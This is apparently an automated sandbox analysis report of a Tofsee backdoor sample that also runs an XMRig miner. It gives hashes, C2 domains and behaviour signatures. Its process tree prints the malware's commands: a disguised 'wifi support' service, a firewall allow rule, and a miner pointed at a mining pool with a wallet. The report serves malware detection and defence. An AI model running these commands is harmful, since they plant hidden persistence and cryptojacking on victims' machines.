Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    29-03-2023 01:43

General

  • Target

    941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe

  • Size

    250KB

  • MD5

    da5e4cbc3f49077078c72d5bc35d2490

  • SHA1

    902ec3ac8390ededea2c9bcf3ec34a2d3394128f

  • SHA256

    941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c

  • SHA512

    0364ac8c2c2255c2c241739bd5a002a6542eec74613cea520e374a5fcccfd56576fccd40f22ffb2fd2c4955a51c815346e448562ebf2ab0d441072b83ea1c120

  • SSDEEP

    3072:IbFEBYrR6uEi8dkShLWlzECOmVcuGRrPVli5NuosnGboLj/8sj5qrSBKni:IBOYWiEkShLW9E/mVcjRhw5w51QrSBh

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe
    "C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mwbzlaal\
      2⤵
        PID:2020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knkduwqg.exe" C:\Windows\SysWOW64\mwbzlaal\
        2⤵
          PID:2036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mwbzlaal binPath= "C:\Windows\SysWOW64\mwbzlaal\knkduwqg.exe /d\"C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mwbzlaal "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1020
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mwbzlaal
          2⤵
          • Launches sc.exe
          PID:1392
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1604
      • C:\Windows\SysWOW64\mwbzlaal\knkduwqg.exe
        C:\Windows\SysWOW64\mwbzlaal\knkduwqg.exe /d"C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1400

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\knkduwqg.exe

        Filesize

        11.2MB

        MD5

        a56efa476437e603c595c71df20ce40b

        SHA1

        6784fae1357aadb1417cea596bb56cb2e2582796

        SHA256

        1958adf03bd10427f406a887c45d0184a5813a536d80ac660fdd00a700768e67

        SHA512

        07eb63b34ba2280a28e4a828a99bba994c6abf0aa9759ccfb0259367782ccb5136e89dff35f2eaf76fdf3099174b215b5e8c29733caec55cced51e6e746359f5

      • C:\Windows\SysWOW64\mwbzlaal\knkduwqg.exe

        Filesize

        11.2MB

        MD5

        a56efa476437e603c595c71df20ce40b

        SHA1

        6784fae1357aadb1417cea596bb56cb2e2582796

        SHA256

        1958adf03bd10427f406a887c45d0184a5813a536d80ac660fdd00a700768e67

        SHA512

        07eb63b34ba2280a28e4a828a99bba994c6abf0aa9759ccfb0259367782ccb5136e89dff35f2eaf76fdf3099174b215b5e8c29733caec55cced51e6e746359f5

      • memory/316-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-106-0x00000000000D0000-0x00000000000D7000-memory.dmp

        Filesize

        28KB

      • memory/316-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/316-90-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-91-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-113-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-71-0x00000000018E0000-0x0000000001AEF000-memory.dmp

        Filesize

        2.1MB

      • memory/316-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/316-74-0x00000000018E0000-0x0000000001AEF000-memory.dmp

        Filesize

        2.1MB

      • memory/316-78-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-81-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-82-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-83-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-84-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-92-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-87-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-89-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/316-105-0x00000000055E0000-0x00000000059EB000-memory.dmp

        Filesize

        4.0MB

      • memory/316-85-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-93-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-94-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-95-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-96-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-97-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/316-98-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/316-101-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/316-102-0x00000000055E0000-0x00000000059EB000-memory.dmp

        Filesize

        4.0MB

      • memory/520-64-0x0000000000400000-0x0000000000702000-memory.dmp

        Filesize

        3.0MB

      • memory/1400-123-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-110-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-111-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1400-119-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-120-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-121-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-122-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1400-124-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1948-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1948-66-0x0000000000400000-0x0000000000702000-memory.dmp

        Filesize

        3.0MB